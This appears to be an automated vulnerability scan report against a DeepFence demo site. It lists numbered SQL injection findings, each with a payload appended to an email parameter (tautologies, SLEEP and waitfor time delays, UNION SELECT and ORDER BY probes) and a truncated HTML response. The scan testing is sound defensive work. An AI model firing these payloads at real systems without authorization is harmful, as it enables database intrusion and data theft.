ParametersName Value
demouser@
deepfence.io' OR 'x'='x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #758Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io""
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #759
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioSLEEP(5)='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #760
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #761
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioSLEEP(5)="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #762
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+
CHAR(116)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #763
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #764
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 10
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #765
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io );waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #766
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #767
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor SLEEP(5)--Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #768
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 21--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #769
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A
')),4,5,6,7,8#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #770
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #771
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io OR 2947=LIKE('ABCDEFG',UPPER(HEX(
RANDOMBLOB(500000000/2))))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #772Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io") or ("x")=("x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
